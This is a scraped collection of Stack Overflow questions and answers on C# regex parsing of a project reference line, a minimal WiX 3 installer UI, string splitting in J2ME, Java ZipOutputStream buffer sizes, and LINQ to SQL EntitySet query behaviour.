[ { "answer_id": 200758, "author": "Bartek Szabat", "author_id": 23774, "author_profile": "https://Stackoverflow.com/users/23774", "pm_score": 1, "selected": false, "text": "<pre><code> using System.Text.RegularExpressions;\n\n Regex regex = new Regex(\n @\"\\\\(?&lt;filename&gt;[\\w\\.]+)\\#(?&lt;comment&gt;[\\w ]+)$\",\n RegexOptions.IgnoreCase\n | RegexOptions.Compiled\n );\n</code></pre>\n" }, { "answer_id": 200762, "author": "Matthew Scharley", "author_id": 15537, "author_profile": "https://Stackoverflow.com/users/15537", "pm_score": 1, "selected": false, "text": "<pre><code>Regex r = new Regex(\"\\\\(.+?)\\#(.+?)$\");\n</code></pre>\n\n<p>Non-greedy multiplicities are great. </p>\n\n<p><code>'$'</code>: Match the end of the string.</p>\n\n<p><code>\"\\#(.+?)\"</code>: Match everything back from the end of the string till the first '#' character and return that in a capture.</p>\n\n<p><code>\"\\\\(.+?)\"</code>: Same again, except with an escaped '\\'.</p>\n" }, { "answer_id": 200771, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 3, "selected": false, "text": "<p>If you are sincere of the string format, you can also solve that in an earthbound manner, without regex: Take everything after the last index of '\\', and split that at '#'.</p>\n" }, { "answer_id": 200973, "author": "Gishu", "author_id": 1695, "author_profile": "https://Stackoverflow.com/users/1695", "pm_score": 2, "selected": true, "text": "<p><strong>I voted for tomalask's non-regex approach.</strong>\nHowever if you HAD to do it with regex, I think you need something like this</p>\n\n<pre><code>\\\\([^\\\\/?\"&lt;&gt;|]+?)\\#([^\\\\/?\"&lt;&gt;|]+?)[\\r\\n]*$\n</code></pre>\n\n<p>This will allow things like - and _ which are valid in filenames, Its 2 identical groups (each excluding invalid chars for win32 filenames) beginning with a slash, delimited by a # and at the end of the line (the $). Assuming second group is also a valid win32 filename..\nI saw some ugly boxes in the matched second group, the [\\r\\n]* keeps them away.</p>\n\n<pre><code>e.g. F5C70F23459}#1.0#0#..\\..\\..\\bin\\App Components\\Acme_Form-Engine.dll#ACME Form Engine\ngroup#1 =&gt; Acme_Form-Engine.dll\ngroup#2 =&gt; ACME Form Engine\n</code></pre>\n\n<p>In short this is arcane.. avoid if possible.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200742", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I have the following line of text ``` Reference=*\G{7B35DDAC-FFE2-4435-8A15-CF5C70F23459}#1.0#0#..\..\..\bin\App Components\AcmeFormEngine.dll#ACME Form Engine ``` and wish to grab the following as two separate capture groups: ``` AcmeFormEngine.dll ACME Form Engine ``` Can anyone help?
**I voted for tomalask's non-regex approach.** However if you HAD to do it with regex, I think you need something like this ``` \\([^\\/?"<>|]+?)\#([^\\/?"<>|]+?)[\r\n]*$ ``` This will allow things like - and \_ which are valid in filenames, Its 2 identical groups (each excluding invalid chars for win32 filenames) beginning with a slash, delimited by a # and at the end of the line (the $). Assuming second group is also a valid win32 filename.. I saw some ugly boxes in the matched second group, the [\r\n]\* keeps them away. ``` e.g. F5C70F23459}#1.0#0#..\..\..\bin\App Components\Acme_Form-Engine.dll#ACME Form Engine group#1 => Acme_Form-Engine.dll group#2 => ACME Form Engine ``` In short this is arcane.. avoid if possible.
200,743
<p>I need a WiX 3 script to display to display only 2 dialogs: Welcome &amp; Completed. Thats it no need for EULA, folder selection etc. All help appreciated.</p>
[ { "answer_id": 259685, "author": "CheGueVerra", "author_id": 17787, "author_profile": "https://Stackoverflow.com/users/17787", "pm_score": 7, "selected": true, "text": "<p>All you need to do is add this in your WIX script, it will give you the WelcomeDlg before the installation and show the Installation progress, then the Exit Dialog. Don't forget to add the WixUIExtension.dll to your references.</p>\n\n<pre><code>&lt;UI Id=\"UserInterface\"&gt;\n &lt;Property Id=\"WIXUI_INSTALLDIR\" Value=\"TARGETDIR\" /&gt;\n &lt;Property Id=\"WixUI_Mode\" Value=\"Custom\" /&gt;\n\n &lt;TextStyle Id=\"WixUI_Font_Normal\" FaceName=\"Tahoma\" Size=\"8\" /&gt;\n &lt;TextStyle Id=\"WixUI_Font_Bigger\" FaceName=\"Tahoma\" Size=\"9\" Bold=\"yes\" /&gt;\n &lt;TextStyle Id=\"WixUI_Font_Title\" FaceName=\"Tahoma\" Size=\"9\" Bold=\"yes\" /&gt;\n\n &lt;Property Id=\"DefaultUIFont\" Value=\"WixUI_Font_Normal\" /&gt;\n\n &lt;DialogRef Id=\"ProgressDlg\" /&gt;\n &lt;DialogRef Id=\"ErrorDlg\" /&gt;\n &lt;DialogRef Id=\"FilesInUse\" /&gt;\n &lt;DialogRef Id=\"FatalError\" /&gt;\n &lt;DialogRef Id=\"UserExit\" /&gt;\n\n &lt;Publish Dialog=\"ExitDialog\" Control=\"Finish\" Event=\"EndDialog\" Value=\"Return\" Order=\"999\"&gt;1&lt;/Publish&gt;\n &lt;Publish Dialog=\"WelcomeDlg\" Control=\"Next\" Event=\"EndDialog\" Value=\"Return\" Order=\"2\"&gt;&lt;/Publish&gt;\n\n&lt;/UI&gt;\n&lt;UIRef Id=\"WixUI_Common\" /&gt;\n</code></pre>\n" }, { "answer_id": 25004458, "author": "lowtech", "author_id": 1181482, "author_profile": "https://Stackoverflow.com/users/1181482", "pm_score": 3, "selected": false, "text": "<p>If you are using Visual Studio and Wix 3.8 then you could create Wix Setup project and use text below as content of Product.wxs. In my case I needed to copy python and text file into destination dir. Thanks again for original masterpiece, comrade CheGueVerra:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;Wix xmlns=\"http://schemas.microsoft.com/wix/2006/wi\"&gt;\n\n &lt;Product Id=\"*\" Name=\"testwixsetup\" Language=\"1033\" Version=\"2.1.3.0\" Manufacturer=\"ttt\" UpgradeCode=\"PUT-GUID-HERE\"&gt;\n &lt;Package InstallerVersion=\"200\" Compressed=\"yes\" InstallScope=\"perMachine\" /&gt;\n\n &lt;MajorUpgrade DowngradeErrorMessage=\"A newer version of [ProductName] is already installed.\" /&gt; \n &lt;MediaTemplate EmbedCab=\"yes\"/&gt;\n\n &lt;Feature Id=\"ProductFeature\" Title=\"testwixsetup\" Level=\"1\"&gt;\n &lt;ComponentGroupRef Id=\"ProductComponents\" /&gt;\n &lt;/Feature&gt;\n\n &lt;UI Id=\"UserInterface\"&gt;\n &lt;Property Id=\"WIXUI_INSTALLDIR\" Value=\"TARGETDIR\" /&gt;\n &lt;Property Id=\"WixUI_Mode\" Value=\"Custom\" /&gt;\n\n &lt;TextStyle Id=\"WixUI_Font_Normal\" FaceName=\"Tahoma\" Size=\"8\" /&gt;\n &lt;TextStyle Id=\"WixUI_Font_Bigger\" FaceName=\"Tahoma\" Size=\"9\" Bold=\"yes\" /&gt;\n &lt;TextStyle Id=\"WixUI_Font_Title\" FaceName=\"Tahoma\" Size=\"9\" Bold=\"yes\" /&gt;\n\n &lt;Property Id=\"DefaultUIFont\" Value=\"WixUI_Font_Normal\" /&gt;\n\n &lt;DialogRef Id=\"ProgressDlg\" /&gt;\n &lt;DialogRef Id=\"ErrorDlg\" /&gt;\n &lt;DialogRef Id=\"FilesInUse\" /&gt;\n &lt;DialogRef Id=\"FatalError\" /&gt;\n &lt;DialogRef Id=\"UserExit\" /&gt;\n\n &lt;Publish Dialog=\"ExitDialog\" Control=\"Finish\" Event=\"EndDialog\" Value=\"Return\" Order=\"999\"&gt;1&lt;/Publish&gt;\n &lt;Publish Dialog=\"WelcomeDlg\" Control=\"Next\" Event=\"EndDialog\" Value=\"Return\" Order=\"2\"&gt;&lt;/Publish&gt;\n\n &lt;/UI&gt;\n &lt;UIRef Id=\"WixUI_Common\" /&gt;\n &lt;/Product&gt;\n\n &lt;Fragment&gt;\n &lt;Directory Id=\"TARGETDIR\" Name=\"SourceDir\"&gt;\n &lt;Directory Id=\"ProgramFilesFolder\"&gt;\n &lt;Directory Id=\"COMPANYFOLDER\" Name=\"test-wixinstall\"&gt;\n &lt;Directory Id=\"INSTALLFOLDER\" Name=\"testwixsetup\" /&gt;\n &lt;/Directory&gt;\n &lt;/Directory&gt;\n &lt;/Directory&gt;\n &lt;/Fragment&gt;\n\n &lt;Fragment&gt;\n &lt;ComponentGroup Id=\"ProductComponents\" Directory=\"INSTALLFOLDER\"&gt;\n &lt;Component Id=\"ProductComponent\" Guid=\"*\"&gt;\n &lt;File Name=\"test.py\"/&gt;\n &lt;File Name=\"test.txt\"/&gt;\n &lt;/Component&gt;\n &lt;/ComponentGroup&gt;\n &lt;/Fragment&gt;\n\n&lt;/Wix&gt;\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200743", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22941/" ]
I need a WiX 3 script to display to display only 2 dialogs: Welcome & Completed. Thats it no need for EULA, folder selection etc. All help appreciated.
All you need to do is add this in your WIX script, it will give you the WelcomeDlg before the installation and show the Installation progress, then the Exit Dialog. Don't forget to add the WixUIExtension.dll to your references. ``` <UI Id="UserInterface"> <Property Id="WIXUI_INSTALLDIR" Value="TARGETDIR" /> <Property Id="WixUI_Mode" Value="Custom" /> <TextStyle Id="WixUI_Font_Normal" FaceName="Tahoma" Size="8" /> <TextStyle Id="WixUI_Font_Bigger" FaceName="Tahoma" Size="9" Bold="yes" /> <TextStyle Id="WixUI_Font_Title" FaceName="Tahoma" Size="9" Bold="yes" /> <Property Id="DefaultUIFont" Value="WixUI_Font_Normal" /> <DialogRef Id="ProgressDlg" /> <DialogRef Id="ErrorDlg" /> <DialogRef Id="FilesInUse" /> <DialogRef Id="FatalError" /> <DialogRef Id="UserExit" /> <Publish Dialog="ExitDialog" Control="Finish" Event="EndDialog" Value="Return" Order="999">1</Publish> <Publish Dialog="WelcomeDlg" Control="Next" Event="EndDialog" Value="Return" Order="2"></Publish> </UI> <UIRef Id="WixUI_Common" /> ```
200,746
<p>How do I split strings in J2ME in an effective way?</p> <p>There is a <a href="http://download.oracle.com/javase/1.4.2/docs/api/java/util/StringTokenizer.html" rel="noreferrer"><code>StringTokenizer</code></a> or <a href="http://download.oracle.com/javase/1.5.0/docs/api/java/lang/String.html#split%28java.lang.String%29" rel="noreferrer"><code>String.split(String regex)</code></a> in the standard edition (J2SE), but they are absent in the micro edition (J2ME, MIDP).</p>
[ { "answer_id": 200760, "author": "Guido", "author_id": 12388, "author_profile": "https://Stackoverflow.com/users/12388", "pm_score": 2, "selected": false, "text": "<p>There is no built in method to split strings. You have to write it on your own using \n<code>String.indexOf()</code> and <code>String.substring()</code>. Not hard.</p>\n" }, { "answer_id": 200798, "author": "Rob Bell", "author_id": 2179408, "author_profile": "https://Stackoverflow.com/users/2179408", "pm_score": 2, "selected": false, "text": "<p>That depends on what exactly you want to achieve, but the function String.substring() will be in there somewhere:</p>\n\n<pre><code>String myString = \"Hello World\";\n</code></pre>\n\n<p>This will print the substring starting from index 6 to the end of the string:</p>\n\n<pre><code>System.out.println(myString.substring(6));\n</code></pre>\n\n<p>This will print the substring starting from index 0 until index 5:</p>\n\n<pre><code>System.out.println(myString.substring(0,5));\n</code></pre>\n\n<p>Output of all the code above:</p>\n\n<pre>\nWorld\nHello\n</pre>\n\n<p>Combine this with the other String functions (<code>indexOf()</code>. etc.) to achieve the desired effect!</p>\n\n<p>Re-reading your question, it looks as though you may have been looking for <code>String.split()</code>. This will split your input string into an array of strings based on a given regex:</p>\n\n<pre><code>String myString = \"Hi-There-Gang\";\n\nString[] splitStrings = myString.split(\"-\");\n</code></pre>\n\n<p>This will result in the splitStrings array containing three string, <code>\"Hi\"</code>, <code>\"There\"</code> and <code>\"Gang\"</code>.</p>\n\n<p>Re-reading your question again, <code>String.split</code> is not available in J2ME, but the same effect can be achieved with <code>substring</code> and <code>indexOf</code>.</p>\n" }, { "answer_id": 200834, "author": "Llyle", "author_id": 27765, "author_profile": "https://Stackoverflow.com/users/27765", "pm_score": 2, "selected": false, "text": "<p>String.split(...) is available in J2SE, but not J2ME.<br />\nYou are required to write your own algorithm: <a href=\"http://forums.sun.com/thread.jspa?threadID=721672\" rel=\"nofollow noreferrer\">related post with sample solution</a>.</p>\n" }, { "answer_id": 200854, "author": "Jonas Pegerfalk", "author_id": 1918, "author_profile": "https://Stackoverflow.com/users/1918", "pm_score": 5, "selected": true, "text": "<p>There are a few implementations of a StringTokenizer class for J2ME. This one by <a href=\"http://ostermiller.org/utils/StringTokenizer.html\" rel=\"nofollow noreferrer\">Ostermiller</a> will most likely include the functionality you need</p>\n<p>See also <a href=\"https://web.archive.org/web/20120206073031/http://mobilepit.com:80/09/using-stringtokenizer-in-j2me-javame-applications.html\" rel=\"nofollow noreferrer\">this page on Mobile Programming Pit Stop</a> for some modifications and the following example:</p>\n<pre><code>String firstToken;\nStringTokenizer tok;\n\ntok = new StringTokenizer(&quot;some|random|data&quot;,&quot;|&quot;);\nfirstToken= tok.nextToken();\n</code></pre>\n" }, { "answer_id": 3343701, "author": "demotics2002", "author_id": 403387, "author_profile": "https://Stackoverflow.com/users/403387", "pm_score": 2, "selected": false, "text": "<p>I hope this one will help you... This is my own implementation i used in my application. Of course this can still be optimized. i just do not have time to do it... and also, I am working on StringBuffer here. Just refactor this to be able to use String instead.</p>\n\n<pre><code>public static String[] split(StringBuffer sb, String splitter){\n String[] strs = new String[sb.length()];\n int splitterLength = splitter.length();\n int initialIndex = 0;\n int indexOfSplitter = indexOf(sb, splitter, initialIndex);\n int count = 0;\n if(-1==indexOfSplitter) return new String[]{sb.toString()};\n while(-1!=indexOfSplitter){\n char[] chars = new char[indexOfSplitter-initialIndex];\n sb.getChars(initialIndex, indexOfSplitter, chars, 0);\n initialIndex = indexOfSplitter+splitterLength;\n indexOfSplitter = indexOf(sb, splitter, indexOfSplitter+1);\n strs[count] = new String(chars);\n count++;\n }\n // get the remaining chars.\n if(initialIndex+splitterLength&lt;=sb.length()){\n char[] chars = new char[sb.length()-initialIndex];\n sb.getChars(initialIndex, sb.length(), chars, 0);\n strs[count] = new String(chars);\n count++;\n }\n String[] result = new String[count];\n for(int i = 0; i&lt;count; i++){\n result[i] = strs[i];\n }\n return result;\n}\n\npublic static int indexOf(StringBuffer sb, String str, int start){\n int index = -1;\n if((start&gt;=sb.length() || start&lt;-1) || str.length()&lt;=0) return index;\n char[] tofind = str.toCharArray();\n outer: for(;start&lt;sb.length(); start++){\n char c = sb.charAt(start);\n if(c==tofind[0]){\n if(1==tofind.length) return start;\n inner: for(int i = 1; i&lt;tofind.length;i++){ // start on the 2nd character\n char find = tofind[i];\n int currentSourceIndex = start+i;\n if(currentSourceIndex&lt;sb.length()){\n char source = sb.charAt(start+i);\n if(find==source){\n if(i==tofind.length-1){\n return start;\n }\n continue inner;\n } else {\n start++;\n continue outer;\n }\n } else {\n return -1;\n }\n\n }\n }\n }\n return index;\n}\n</code></pre>\n" }, { "answer_id": 12579305, "author": "Rahul", "author_id": 1563004, "author_profile": "https://Stackoverflow.com/users/1563004", "pm_score": 1, "selected": false, "text": "<pre><code>public static Vector splitDelimiter(String text, char delimiter) {\n Vector splittedString = null;\n String text1 = \"\";\n\n if (text != null) {\n splittedString = new Vector();\n for (int i = 0; i &lt; text.length(); i++) {\n if (text.charAt(i) == delimiter) {\n splittedString.addElement(text1);\n text1 = \"\";\n } else {\n text1 += text.charAt(i);\n // if(i==text.length()-1){\n // splittedString.addElement(text1);\n // }\n }\n }\n splittedString.addElement(text1);\n }\n return s\n }\n</code></pre>\n\n<p>You can use this method for splitting a delimiter.</p>\n" }, { "answer_id": 19080874, "author": "UserSuperPupsik", "author_id": 2821042, "author_profile": "https://Stackoverflow.com/users/2821042", "pm_score": 1, "selected": false, "text": "<p>In J2ME no split, but you can use this code for split.This code works with only 1 simbol delimiter!!!\nUse NetBeans.File\\Create Project\\ Java ME\\ MobileApplication\\Set project name(split)\\Set checkmark.Delete all code in your (Midlet.java).Copy this code and past in your (Midlet.java).</p>\n\n<pre><code>//IDE NetBeans 7.3.1\n//author: UserSuperPupsik \n//email: [email protected]\n\n\n\npackage split;\n\n\nimport javax.microedition.lcdui.*;\nimport javax.microedition.midlet.*;\nimport java.util.Vector;\n\npublic class Midlet extends MIDlet {\n public String e1;\n public Vector v=new Vector();\n public int ma;\n int IsD=0;\n int vax=0;\n public String out[];\n private Form f;\n\n public void split0(String text,String delimiter){\n if (text!=\"\"){\n IsD=0;\n\n int raz=0;\n\n //v.removeAllElements();\n v.setSize(0);\n int io;\n String temp=\"\"; \n int ni=(text.length()-1);\n\n\n for(io=0;io&lt;=ni;io++){\n\n char ch=text.charAt(io);\n String st=\"\"+ch; \n if(io==0 &amp;&amp; st.equals(delimiter)){IsD=1;}\n\n if(!st.equals(delimiter)){temp=temp+st;} //Not equals (!=)\n else if(st.equals(delimiter)&amp;&amp;temp!=\"\")//equals (==)\n {\n IsD=1;\n //f.append(temp); \n v.addElement(temp);\n temp=\"\"; \n\n }\n\n\n if(io==ni &amp;&amp; temp!=\"\") {\n v.addElement(temp);\n temp=\"\"; \n } \n\n if((io==ni)&amp;&amp;IsD==0&amp;&amp;temp!=\"\"){v.addElement(temp);}\n\n\n\n\n }\n\n\n\n if(v.size()!=0){\n\n ma=(v.size());\n\n out=new String[ma];\n\n\n v.copyInto(out);\n\n }\n //else if(v.size()==0){IsD=1; }\n\n\n }\n }\n\n\npublic void method1(){\n f.append(\"\\n\");\n f.append(\"IsD: \" +IsD+\"\");\n if (v.size()!=0){\n for( vax=0;vax&lt;=ma-1;vax++){\n f.append(\"\\n\");\n\n f.append(out[vax]);\n\n\n }\n } \n}\n public void startApp() {\n\n f=new Form(\"Hello J2ME!\");\n Display.getDisplay(this).setCurrent(f);\n\n f.append(\"\");\n split0(\"Hello.World.Good...Luck.end\" , \".\");\n method1();\n\n split0(\".\",\".\");\n method1();\n\n split0(\" First WORD2 Word3 \",\" \");\n method1();\n\n split0(\"...\",\".\");\n method1(); \n }\n\n public void pauseApp() {\n }\n\n public void destroyApp(boolean unconditional) {\n }\n\n\n\n\n}\n</code></pre>\n\n<p>Splited elements located in array called (out).For Example out[1]:Hello.\nGood Luck!!!</p>\n" }, { "answer_id": 25381691, "author": "Miguel Rivero", "author_id": 2160667, "author_profile": "https://Stackoverflow.com/users/2160667", "pm_score": 0, "selected": false, "text": "<p>Another alternative solution:</p>\n\n<pre><code> public static Vector split(String stringToSplit, String separator){\n if(stringToSplit.length&lt;1){\n return null;\n }\n\n Vector stringsFound = new Vector();\n\n String remainingString = stringToSplit;\n\n while(remainingString.length()&gt;0){\n int separatorStartingIndex = remainingString.indexOf(separator);\n\n if(separatorStartingIndex==-1){\n // Not separators found in the remaining String. Get substring and finish\n stringsFound.addElement(remainingString);\n break;\n }\n\n else{\n // The separator is at the beginning of the String,\n // Push the beginning at the end of separator and continue\n if(remainingString.startsWith(separator)){\n remainingString = remainingString.substring(separator.length());\n }\n // The separator is present and is not the beginning, add substring and continue\n else{\n stringsFound.addElement(remainingString.substring(0, separatorStartingIndex));\n remainingString = remainingString.substring(separatorStartingIndex + separator.length());\n }\n }\n }\n\n return stringsFound;\n }\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200746", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3713/" ]
How do I split strings in J2ME in an effective way? There is a [`StringTokenizer`](http://download.oracle.com/javase/1.4.2/docs/api/java/util/StringTokenizer.html) or [`String.split(String regex)`](http://download.oracle.com/javase/1.5.0/docs/api/java/lang/String.html#split%28java.lang.String%29) in the standard edition (J2SE), but they are absent in the micro edition (J2ME, MIDP).
There are a few implementations of a StringTokenizer class for J2ME. This one by [Ostermiller](http://ostermiller.org/utils/StringTokenizer.html) will most likely include the functionality you need See also [this page on Mobile Programming Pit Stop](https://web.archive.org/web/20120206073031/http://mobilepit.com:80/09/using-stringtokenizer-in-j2me-javame-applications.html) for some modifications and the following example: ``` String firstToken; StringTokenizer tok; tok = new StringTokenizer("some|random|data","|"); firstToken= tok.nextToken(); ```
200,752
<p>I use this code to create a .zip with a list of files:</p> <pre><code>ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile)); for (int i=0;i&lt;srcFiles.length;i++){ String fileName=srcFiles[i].getName(); ZipEntry zipEntry = new ZipEntry(fileName); zos.putNextEntry(zipEntry); InputStream fis = new FileInputStream(srcFiles[i]); int read; for(byte[] buffer=new byte[1024];(read=fis.read(buffer))&gt;0;){ zos.write(buffer,0,read); } fis.close(); zos.closeEntry(); } zos.close(); </code></pre> <p>I don't know how the zip algorithm and the ZipOutputStream works, if it writes something before I read and send to 'zos' all of the data, the result file can be different in size of bytes than if I choose another buffer size. </p> <p>in other words I don't know if the algorithm is like:</p> <p>READ DATA-->PROCESS DATA-->CREATE .ZIP</p> <p>or</p> <p>READ CHUNK OF DATA-->PROCESS CHUNK OF DATA-->WRITE CHUNK IN .ZIP-->| ^-----------------------------------------------------------------------------------------------------------------------------</p> <p>If this is the case, what buffer size is the best?</p> <p>Update:</p> <p>I have tested this code, changing the buffer size from 1024 to 64, and zipping the same files: with 1024 bytes the 80 KB result file was 3 bytes smaller than with 64 bytes buffer. Which is the best buffer size to produce the smallest .zip in the fatest time?</p>
[ { "answer_id": 201085, "author": "ddimitrov", "author_id": 18187, "author_profile": "https://Stackoverflow.com/users/18187", "pm_score": 0, "selected": false, "text": "<p>Depends on the hardware you have (disk speed and file search time). I would say if you are not interested in squeezing the last drop of performance pick any size between 4k and 64k. Since it is a short-lived object it will be collected quickly anyway.</p>\n" }, { "answer_id": 201351, "author": "Dan Cristoloveanu", "author_id": 24873, "author_profile": "https://Stackoverflow.com/users/24873", "pm_score": 4, "selected": true, "text": "<p>Short answer: I would pick something like 16k.</p>\n\n<hr>\n\n<p>Long answer:</p>\n\n<p>ZIP is using the DEFLATE algorithm for compression (<a href=\"http://en.wikipedia.org/wiki/DEFLATE\" rel=\"noreferrer\">http://en.wikipedia.org/wiki/DEFLATE</a>). Deflate is a flavor of Ziv Lempel Welch(search wikipedia for LZW). DEFLATE uses LZ77 and Huffman coding.</p>\n\n<p>This is a dictionary compression, and as far as I know from the algorithm standpoint the buffer size used when feeding the data into the deflater should have almost no impact. The biggest impact for LZ77 are dictionary size and sliding window, which are not controlled by the buffer size in your example.</p>\n\n<p>I think you can experiment with different buffer sizes if you want and plot a graph, but I am sure you will not see any significant changes in compression ratio (3/80000 = 0.00375%).</p>\n\n<p>The biggest impact the buffer size has is on the speed due to the amount of overhead code that is executed when you make the calls to FileInputStream.read and zos.write. From this point of view you should take into account what you gain and what you spend.</p>\n\n<p>When increasing from 1 byte to 1024 bytes, you lose 1023 bytes (in theory) and you gain a ~1024 reduction of the overhead time in the .read and .write methods.\nHowever when increasing from 1k to 64k, you are spending 63k which reducing the overhead 64 times.</p>\n\n<p>So this comes with diminishing returns, thus I would choose somewhere in the middle (let's say 16k) and stick with that.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200752", "https://Stackoverflow.com", "https://Stackoverflow.com/users/518/" ]
I use this code to create a .zip with a list of files: ``` ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile)); for (int i=0;i<srcFiles.length;i++){ String fileName=srcFiles[i].getName(); ZipEntry zipEntry = new ZipEntry(fileName); zos.putNextEntry(zipEntry); InputStream fis = new FileInputStream(srcFiles[i]); int read; for(byte[] buffer=new byte[1024];(read=fis.read(buffer))>0;){ zos.write(buffer,0,read); } fis.close(); zos.closeEntry(); } zos.close(); ``` I don't know how the zip algorithm and the ZipOutputStream works, if it writes something before I read and send to 'zos' all of the data, the result file can be different in size of bytes than if I choose another buffer size. in other words I don't know if the algorithm is like: READ DATA-->PROCESS DATA-->CREATE .ZIP or READ CHUNK OF DATA-->PROCESS CHUNK OF DATA-->WRITE CHUNK IN .ZIP-->| ^----------------------------------------------------------------------------------------------------------------------------- If this is the case, what buffer size is the best? Update: I have tested this code, changing the buffer size from 1024 to 64, and zipping the same files: with 1024 bytes the 80 KB result file was 3 bytes smaller than with 64 bytes buffer. Which is the best buffer size to produce the smallest .zip in the fatest time?
Short answer: I would pick something like 16k. --- Long answer: ZIP is using the DEFLATE algorithm for compression (<http://en.wikipedia.org/wiki/DEFLATE>). Deflate is a flavor of Ziv Lempel Welch(search wikipedia for LZW). DEFLATE uses LZ77 and Huffman coding. This is a dictionary compression, and as far as I know from the algorithm standpoint the buffer size used when feeding the data into the deflater should have almost no impact. The biggest impact for LZ77 are dictionary size and sliding window, which are not controlled by the buffer size in your example. I think you can experiment with different buffer sizes if you want and plot a graph, but I am sure you will not see any significant changes in compression ratio (3/80000 = 0.00375%). The biggest impact the buffer size has is on the speed due to the amount of overhead code that is executed when you make the calls to FileInputStream.read and zos.write. From this point of view you should take into account what you gain and what you spend. When increasing from 1 byte to 1024 bytes, you lose 1023 bytes (in theory) and you gain a ~1024 reduction of the overhead time in the .read and .write methods. However when increasing from 1k to 64k, you are spending 63k which reducing the overhead 64 times. So this comes with diminishing returns, thus I would choose somewhere in the middle (let's say 16k) and stick with that.
200,755
<p>In a LINQ to SQL class, why are the properties that are created from the foreign keys <code>EntitySet</code> objects, which implement <code>IEnumerable</code>, where as the objects on the <code>DataContext</code> are <code>Table</code> objects which implement <code>IQueryable</code>?</p> <p><strong>EDIT:</strong> To clarify, here is an example that illustrates what I'm trying to understand. This example:</p> <pre><code>ctx.Matches.Where(x =&gt; x.MatchID == 1).Single() .MatchPlayers.Max(x =&gt; x.Score); </code></pre> <p>hits the database twice where as:</p> <pre><code>ctx.MatchPlayers.Where(x =&gt; x.MatchID == 1) .Max(x =&gt; x.Score); </code></pre> <p>only runs 1 query. Here are the traces:</p> <pre><code>exec sp_executesql N'SELECT [t0].[MatchID], [t0].[Date] FROM [dbo].[Matches] AS [t0] WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1 go exec sp_executesql N'SELECT [t0].[MatchID], [t0].[PlayerID], [t0].[Score] FROM [dbo].[MatchPlayers] AS [t0] WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1 go </code></pre> <p>and</p> <pre><code>exec sp_executesql N'SELECT MAX([t0].[Score]) AS [value] FROM [dbo].[MatchPlayers] AS [t0] WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1 go </code></pre> <p>which also shows that, even worse, the max is done at the C# level rather than in the database.</p> <p>I know that the reason this happens is the difference between <code>IQueryable</code>s and <code>IEnumerable</code>s, so why doesn't the <code>MatchPlayers</code> object in the first example implement the <code>IQueryable</code> interface to get the same benefits as the latter example.</p>
[ { "answer_id": 200784, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 2, "selected": true, "text": "<p>Tables are effectively a conceptual matter - they really exist on the server, so you need to query to get entries. The foreign key entries are the ones actually fetched by another query, so at that point they're locally available. That's a fairly woolly description, but hopefully it gets over the general concept.</p>\n" }, { "answer_id": 201667, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 2, "selected": false, "text": "<pre><code>ctx.Matches.Where(x =&gt; x.MatchID == 1).Single()\n</code></pre>\n\n<p>Single() returns a Match, not an IQueryable(Match).</p>\n\n<p>Just push Single() off to the last step:</p>\n\n<pre><code>ctx.Matches\n .Where(m =&gt; m.MatchID == 1)\n .Select(m =&gt; m.MatchPlayers.Max(mp =&gt; mp.Score))\n .Single();\n</code></pre>\n\n<p>What this query shows is, that it's ok to use the MatchPlayers property in a query. Which addresses my interpretation of the asker's question - \"Why can't I use an EntitySet in a query?\", You can.</p>\n" }, { "answer_id": 583046, "author": "Jaecen", "author_id": 51779, "author_profile": "https://Stackoverflow.com/users/51779", "pm_score": 0, "selected": false, "text": "<p>This was <a href=\"http://social.msdn.microsoft.com/forums/en-US/linqprojectgeneral/thread/121ec4e8-ce40-49e0-b715-75a5bd0063dc/\" rel=\"nofollow noreferrer\" title=\"Why does EntitySet no longer implement IQueryable?\">addressed on the MSDN forums</a>. The gist of the reasoning is that it's very difficult to track added and removed objects while making queries against the database. Instead, the EntitySet is something of a local copy of the related objects that you can manipulate. Unfortunately, as you noticed, this has the side effect of devolving expressions into LINQ to Objects calls instead of the better performing LINQ to SQL.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200755", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27782/" ]
In a LINQ to SQL class, why are the properties that are created from the foreign keys `EntitySet` objects, which implement `IEnumerable`, where as the objects on the `DataContext` are `Table` objects which implement `IQueryable`? **EDIT:** To clarify, here is an example that illustrates what I'm trying to understand. This example: ``` ctx.Matches.Where(x => x.MatchID == 1).Single() .MatchPlayers.Max(x => x.Score); ``` hits the database twice where as: ``` ctx.MatchPlayers.Where(x => x.MatchID == 1) .Max(x => x.Score); ``` only runs 1 query. Here are the traces: ``` exec sp_executesql N'SELECT [t0].[MatchID], [t0].[Date] FROM [dbo].[Matches] AS [t0] WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1 go exec sp_executesql N'SELECT [t0].[MatchID], [t0].[PlayerID], [t0].[Score] FROM [dbo].[MatchPlayers] AS [t0] WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1 go ``` and ``` exec sp_executesql N'SELECT MAX([t0].[Score]) AS [value] FROM [dbo].[MatchPlayers] AS [t0] WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1 go ``` which also shows that, even worse, the max is done at the C# level rather than in the database. I know that the reason this happens is the difference between `IQueryable`s and `IEnumerable`s, so why doesn't the `MatchPlayers` object in the first example implement the `IQueryable` interface to get the same benefits as the latter example.
Tables are effectively a conceptual matter - they really exist on the server, so you need to query to get entries. The foreign key entries are the ones actually fetched by another query, so at that point they're locally available. That's a fairly woolly description, but hopefully it gets over the general concept.
200,786
